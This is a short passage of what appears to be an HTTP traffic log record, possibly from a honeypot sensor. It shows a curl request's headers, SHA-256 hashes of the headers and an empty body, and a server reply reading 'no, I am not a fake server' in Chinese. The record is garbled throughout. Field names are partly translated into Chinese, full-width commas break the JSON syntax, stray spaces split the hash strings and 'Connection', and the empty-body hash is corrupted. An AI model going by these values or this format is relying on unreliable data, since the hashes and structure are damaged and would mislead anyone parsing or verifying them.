[Curl/7.71.1]，Accept: [*/*]'，'HeadersSorted':'Accept，用户代理'，'HeadersSortedSha256':':'CF69E186169279BD517 69F29D122B07F1F9B7E51BF119C340B66FBD2A1128BC9'，'BODY':'，'BODYSHA256':'E3B0C444298FC1C14 9AFBF4C8996FB92427AE41E4649B934CA495991B7852B855'}，'httpresponse': {'headers': {'Connect ion':'close'，'content-type':'text/plain'，'server':'localhost/1.0'}，'body':'no，我不是假的服务器。